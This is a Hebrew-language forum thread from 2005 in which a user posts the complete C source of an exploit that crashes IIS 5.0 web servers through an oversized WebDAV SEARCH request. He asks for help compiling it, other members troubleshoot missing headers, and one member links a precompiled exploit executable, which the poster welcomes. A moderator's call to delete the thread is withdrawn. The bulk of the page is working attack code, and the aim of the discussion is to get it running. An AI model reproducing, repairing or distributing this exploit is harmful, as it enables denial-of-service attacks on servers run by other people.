נושאים פעיליםנושאים פעילים  הצגת רשימה של חברי הפורוםרשימת משתמשים  חיפוש בפורוםחיפוש  עזרהעזרה
  הרשמההרשמה  התחברותהתחברות RSS עדכונים
תיכנות
RSS UnderWarrior Forums : RSS תיכנות
נושא

נושא: בעייה בקימפול הקובץ הבא בקומפיילרים רבים:

שליחת תגובהשליחת נושא חדש
כותב
הודעה << נושא קודם | נושא הבא >>
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 07 May 2005 בשעה 17:11 | IP רשוּם
ציטוט ShadowBeast

ניסיתי לקמפל אותו ב DEV בboralnd וב VC++ 2005 beta 2
dev נתן לי בעיית לינקר
borland נתן לי גם איזה בעייה אני לא זוכר ואני לא יכול לבדוק כי הוא נדפק לי
VC++ אמר לי שלא כללתי איזה אינקלוד אז כללתי אותו
ואחרי שכללתי אותו אז הוא לא מצא לי את windows.h ו winsock.h אז העפתי אותם
ואז הוא מן הסתם לא ידע מה לעשות עם הרבה פונקציות שאמורות להיות בהאדרים האלה
בכל מקרה הנה הקובץ:
קוד:

/*
   
Micro$oft IIS DoSser (restarts Web/FTP/Mail service .Terminates  all active Web/FTP/Mail connections....ph33r ;-) )

 >> by Shashank Pandey a.k.a      +(Neo1)+
 
  >>    http://geekgroove.8m.com

  Issue :   http://packetstorm.linuxsecurity.com/0305-exploits/iisDoS.tx t 
   
 

 coded in seconds .... crappy programming but worx !

 shoutz to all da babes in delhi    :-)


 >> Only for tezting purposes !!! i disclaim everything ....


part of M4TR1X series of codes from me...     ph33r again...;-)


*/

#include <stdfx.h>
#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")



void graphitte()


{printf("\n********************************** ");
 printf("\n Webdav MICRO$OFT IIS DoSser     * \n");
 printf("+++++++++++++++++++++++++++++++++*\n");
 printf(" by Shashank   Pandey               *\n");
 printf(" (reach_shash@linuxmail.org)     *\n");
 printf("********************************** \n");

 

}







char *funk(char tobesent[100],char *host)
{
  int s;  char got[100];

  WSADATA wsaData;
     
struct hostent *yo;
struct sockaddr_in heck;
   
     char lala[100];
   

if(WSAStartup(0x0101,&wsaData)!=0) {
      printf("error starting winsock..");
      return 0;
      }




  if ((yo = gethostbyname(host))==0){
    printf("error: can't resolve '%s'",host);
    return 0;
  }




  
  heck.sin_port = htons(80);
  heck.sin_family = AF_INET;
  heck.sin_addr = *((struct in_addr *)yo->h_addr);

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("Error: Unable to create socket");
   
  }

 
  if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
    printf("Error: Cudn't Connect\r\n");
   
  }
 
 
memset(lala,0,sizeof(lala));

sprintf(lala,"%s",tobesent,sizeof(tobesent));
    
      send(s,lala,strlen(lala),0);
   recv(s,got,100,0);


 
   
 
  return 0;
    closesocket(s);
    WSACleanup();
    printf("done.\n");

}







int main(int argc, char *argv[])
{
    

  WSADATA wsaData;
     
     
     
     
      int s;char mysend[100];
      char *gotme;
      char trash[100];
     

struct hostent *yo;
           struct sockaddr_in heck;
      char buffer[65535] ="";
      char myrequest[80000];   
      char content[] =
         &nbs p; "<?xml version=\"1.0\"?>\r\n"
         &nbs p; "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
         &nbs p; "<g:sql>\r\n"
         &nbs p; "Select \"DAV:displayname\" from scope()\r\n"
         &nbs p; "</g:sql>\r\n"
         &nbs p; "</g:searchrequest>\r\n";

 
     
      graphitte();
      
    

   

if(WSAStartup(0x0101,&wsaData)!=0) {
      printf("Error :Cudn't initiate winsock!");
      return 0;
      }


if(argc<2)

{printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]);
  exit(0);}




  if ( (yo = gethostbyname(argv[1]))==0)
  {
    printf("error: can't resolve '%s'",argv[1]);
    return 1;
  }



printf("\nChecking web server %s\n",argv[1]);
gotme=(char *)funk("GET / HTTP/1.0\r\n\n",argv[1]);


if (strstr(gotme,"IIS/5.0") == NULL)
         
{     printf("\n\r----> %s is not running IIS 5.0! adios !\n",argv[1]);  }

     

else

{
   
   
printf("\n\r----> Aww rite! IIS 5.0 found on %s  !\n",argv[1]);







   
sprintf(mysend,"SEARCH / HTTP/1.0\r\n\n",40);

gotme=(char *)funk(mysend,argv[1]);

if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL)
         
{     printf("\n\r----> METHOD SEARCH ALLOWED\r\n"); }



else

{
   
printf("\n----> Method SEARCH not Allowed ! adios...\n");
exit(0);

}   





  
  heck.sin_port = htons(80);
  heck.sin_family = AF_INET;
  heck.sin_addr = *((struct in_addr *)yo->h_addr);

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    printf("error: can't create socket");
    return 1;
  }

 
  if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
    printf("Error:Cudn't Connect\r\n");
    return 1;
  }
 
 
 
buffer[sizeof(buffer)]=0x00;

  memset(buffer,'S',sizeof(buffer));
  memset(myrequest,0,sizeof(myrequest));
      memset(trash,0,sizeof(trash));
      sprintf(myrequest,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
      sprintf(myrequest,"%s%d\r\n\r\n",myrequest,strlen(content));
      printf("\r\nDoSsing the server...<pray>\n");
      send(s,myrequest,strlen(myrequest),0);
     
     



      send(s,content,strlen(content),0);
     
     
     
     
      recv(s,trash,sizeof(trash),0);
      if(trash[0]==0x00)
      {
      printf("Server is DoSsed! Now run !! F-B-eyee is after j00...\r\n");
     
      }
     
      else
     
         
      printf("Server is prolly patched.\r\n");
     
      closesocket(s);
 

}
   
   
   
   
    WSACleanup();
   
   
   
   
   
return 1;
}





__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
אירי
אורח
אורח


הצטרף / הצטרפה: 01 October 2003
משתמש: אונליין
הודעות: 12647
נשלח בתאריך: 15 May 2005 בשעה 00:43 | IP רשוּם
ציטוט אירי

קימפלתי ב dev

והוא מוסר שבשורה 118 יש מצביע לא מוכר nbs

באמת לא ראיתי שהצהרת עליו

יש עוד שגיאות שקשורות לזה שהוא לא מוכר

ב VC++ הוא לא הצליח לפתוח את stdfx.h

דרך אגב התוכנית ב C או C++

stdio שייך ל C, לא?

חזרה לתחילת העמוד הצג את כרטיס החבר של אירי חפש הודעות אחרות של אירי בקר בדף הבית של אירי
 
רצח-לילי
משתמש מתחיל
משתמש מתחיל
סמל אישי

הצטרף / הצטרפה: 18 April 2005
משתמש: מנותק/ת
הודעות: 29
נשלח בתאריך: 15 May 2005 בשעה 16:13 | IP רשוּם
ציטוט רצח-לילי

dev מנסיון לפעמים נותן שגיאות שלא ממש קשורות. אני מנחש שזה נכתב בויזואל סי++. אם אני לא טועה מה שאתה מנסה לקמפל זה אקספלויט אבל לא ידוע לי הסביבת העבודה שלו אז יכול להיות שאתה להריץ cygwin או שיכול להיות שאתה צריך לעשות פרויקט ואז לעתיק את הקוד לשם. כי מוזר שהוא לא מוצא את stdfx.h

חזרה לתחילת העמוד הצג את כרטיס החבר של רצח-לילי חפש הודעות אחרות של רצח-לילי
 
cp77fk4r
מנהל פורומים
מנהל פורומים
סמל אישי
מנהל פורום אבטחת מידע

הצטרף / הצטרפה: 09 April 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 501
נשלח בתאריך: 15 May 2005 בשעה 16:16 | IP רשוּם
ציטוט cp77fk4r

אני מאוד ממליץ למחוק את הדיון הנ"ל.

__________________
[Th3rE R mAnY wAyZ 2 r3aD oN3 EmPty p4gE]
חזרה לתחילת העמוד הצג את כרטיס החבר של cp77fk4r חפש הודעות אחרות של cp77fk4r בקר בדף הבית של cp77fk4r
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 15 May 2005 בשעה 16:18 | IP רשוּם
ציטוט ניר

cp77fk4r כתב:
אני מאוד ממליץ למחוק את הדיון הנ"ל.


אני לא רואה סיבה. דיון לגיטימי. השאלה נראת במקום
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 15 May 2005 בשעה 20:41 | IP רשוּם
ציטוט ShadowBeast

באמת למה למחוק?
אני יכול להגיד שניסיתי בVC++ הבטא 2005 הזה
והוא באמת לא מצא את הקובץ הזה שאמרתם...
CP לפחות תגיד את הסיבה...


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
cp77fk4r
מנהל פורומים
מנהל פורומים
סמל אישי
מנהל פורום אבטחת מידע

הצטרף / הצטרפה: 09 April 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 501
נשלח בתאריך: 16 May 2005 בשעה 05:08 | IP רשוּם
ציטוט cp77fk4r

פאק, משום מה כשהגבתי היה כתוב (או לפחות כך דמיינתי) שפותח הטופיק (ShadowBeast) הוא אורח, אז המלצתי לסגור את הטופיק, מפני שזהו אקספלויט שמבצע DoS Attack על שרתי IIS, וחשבתי שזה סתם עוד איזה סקריפט-קידי שמנסה להריץ איזה אקספלויט ולא מצליח לו..

אבל עכשיו אני רואה שזה ShadowBeast, אז סבבה, אני לוקח את דברי בחזרה, מצטער.



__________________
[Th3rE R mAnY wAyZ 2 r3aD oN3 EmPty p4gE]
חזרה לתחילת העמוד הצג את כרטיס החבר של cp77fk4r חפש הודעות אחרות של cp77fk4r בקר בדף הבית של cp77fk4r
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 16 May 2005 בשעה 05:34 | IP רשוּם
ציטוט ניר

SB - יש התקדמות עם זה?

__________________
מספר האייסיקיו שלי ו/או כתובת ה-MSN שלי אינם מהווים מוקד תמיכה
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 16 May 2005 בשעה 13:53 | IP רשוּם
ציטוט ShadowBeast

לצערי אני לא  יודע לפתור בעיות לינקר...
גם בעיות קימפול רגילות אני בקושי פותר..
אז על לינקר?
בכלל אין לי כיוון


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
cp77fk4r
מנהל פורומים
מנהל פורומים
סמל אישי
מנהל פורום אבטחת מידע

הצטרף / הצטרפה: 09 April 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 501
נשלח בתאריך: 16 May 2005 בשעה 15:02 | IP רשוּם
ציטוט cp77fk4r

לינקר? אתה כניראה מתכוון לפויינטר.

ותיראה מה אירי כתב לך, לא הרצתי ת'קוד, אבל אם יש שם מצביע לא מוצהר- תצהיר עליו.



__________________
[Th3rE R mAnY wAyZ 2 r3aD oN3 EmPty p4gE]
חזרה לתחילת העמוד הצג את כרטיס החבר של cp77fk4r חפש הודעות אחרות של cp77fk4r בקר בדף הבית של cp77fk4r
 
Alias
משתמש חבר
משתמש חבר
סמל אישי

הצטרף / הצטרפה: 13 January 2005
משתמש: מנותק/ת
הודעות: 344
נשלח בתאריך: 16 May 2005 בשעה 15:03 | IP רשוּם
ציטוט Alias

http://planet.nana.co.il/casper_2005/IISexp.exe נראה לי שיעבוד
חזרה לתחילת העמוד הצג את כרטיס החבר של Alias חפש הודעות אחרות של Alias בקר בדף הבית של Alias
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 16 May 2005 בשעה 15:55 | IP רשוּם
ציטוט ShadowBeast

cp77fk4r כתב:

לינקר? אתה כניראה מתכוון לפויינטר.

ותיראה מה אירי כתב לך, לא הרצתי ת'קוד, אבל אם יש שם מצביע לא מוצהר- תצהיר עליו.


לא, אני מתכוון ללינקר =\
תנסו לקמפל בבורלנד ותראו(אגב גם ב DEV) הפוינטר זה רק הזהרה, ובבורלנד היא לא מופיעה


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 16 May 2005 בשעה 15:59 | IP רשוּם
ציטוט ShadowBeast

Alias כתב:
http://planet.nana.co.il/casper_2005/IISexp.exe נראה לי שיעבוד

וואי תודה!!!
איפה קימפלת את זה?


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Alias
משתמש חבר
משתמש חבר
סמל אישי

הצטרף / הצטרפה: 13 January 2005
משתמש: מנותק/ת
הודעות: 344
נשלח בתאריך: 16 May 2005 בשעה 17:30 | IP רשוּם
ציטוט Alias

VC++
חזרה לתחילת העמוד הצג את כרטיס החבר של Alias חפש הודעות אחרות של Alias בקר בדף הבית של Alias
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 16 May 2005 בשעה 18:48 | IP רשוּם
ציטוט ShadowBeast

ומה עם זה שהוא לא מוצא?

__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Alias
משתמש חבר
משתמש חבר
סמל אישי

הצטרף / הצטרפה: 13 January 2005
משתמש: מנותק/ת
הודעות: 344
נשלח בתאריך: 16 May 2005 בשעה 20:36 | IP רשוּם
ציטוט Alias

רמז: google
חזרה לתחילת העמוד הצג את כרטיס החבר של Alias חפש הודעות אחרות של Alias בקר בדף הבית של Alias
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 16 May 2005 בשעה 21:39 | IP רשוּם
ציטוט ShadowBeast

OK...
למה אתה לא יכול פשוט לרשום אני לא יודע


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Alias
משתמש חבר
משתמש חבר
סמל אישי

הצטרף / הצטרפה: 13 January 2005
משתמש: מנותק/ת
הודעות: 344
נשלח בתאריך: 16 May 2005 בשעה 22:09 | IP רשוּם
ציטוט Alias

חיפשתי את הערך stdfx.h source מצאתי אותו, שמרתי בסיפריה include ואז ראיתי שהוא מחפש עוד קובץ config.h, מצאתי אותו ושמרתי במיקום שהוא אמור להיות וזהו.

והתשובה לשאלה שלך: תאמת אין לי מושג, אולי כדי שתתאמץ טיפה יותר ותגיע לפתרון בעצמך
חזרה לתחילת העמוד הצג את כרטיס החבר של Alias חפש הודעות אחרות של Alias בקר בדף הבית של Alias
 
ShadowBeast
אורח
אורח


הצטרף / הצטרפה: 01 October 2003
משתמש: אונליין
הודעות: 12647
נשלח בתאריך: 17 May 2005 בשעה 09:19 | IP רשוּם
ציטוט ShadowBeast

כאלה דברים אני דווקא עושה הרבה...
בעיקר עשיתי פעם
אז למדתי גם כמה שיטות שיהיה לך לעתיד:
במקום לכתוב
name-of-file.h
תכתוב
inurl:"name-of-file.h"
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast בקר בדף הבית של ShadowBeast
 

אם ברצונך להגיב לנושא זה עליך קודם להתחבר
אם אינך רשום/ה כבר עליך להרשם

  שליחת תגובהשליחת נושא חדש
גרסת הדפסה גרסת הדפסה

קפיצה לפורום
אינך יכול/ה לשלוח נושאים חדשים בפורום זה
אינך יכול/ה להגיב לנושאים בפורום זה
אינך יכול/ה למחוק את הודעותיך ותגוביך בפורום זה
אינך יכול/ה לערוך את הודעותיך ותגובותיך בפורום זה
אינך יכול/ה לצור סקרים בפורום זה
אינך יכול/ה להצביע בסקרים בפורום זה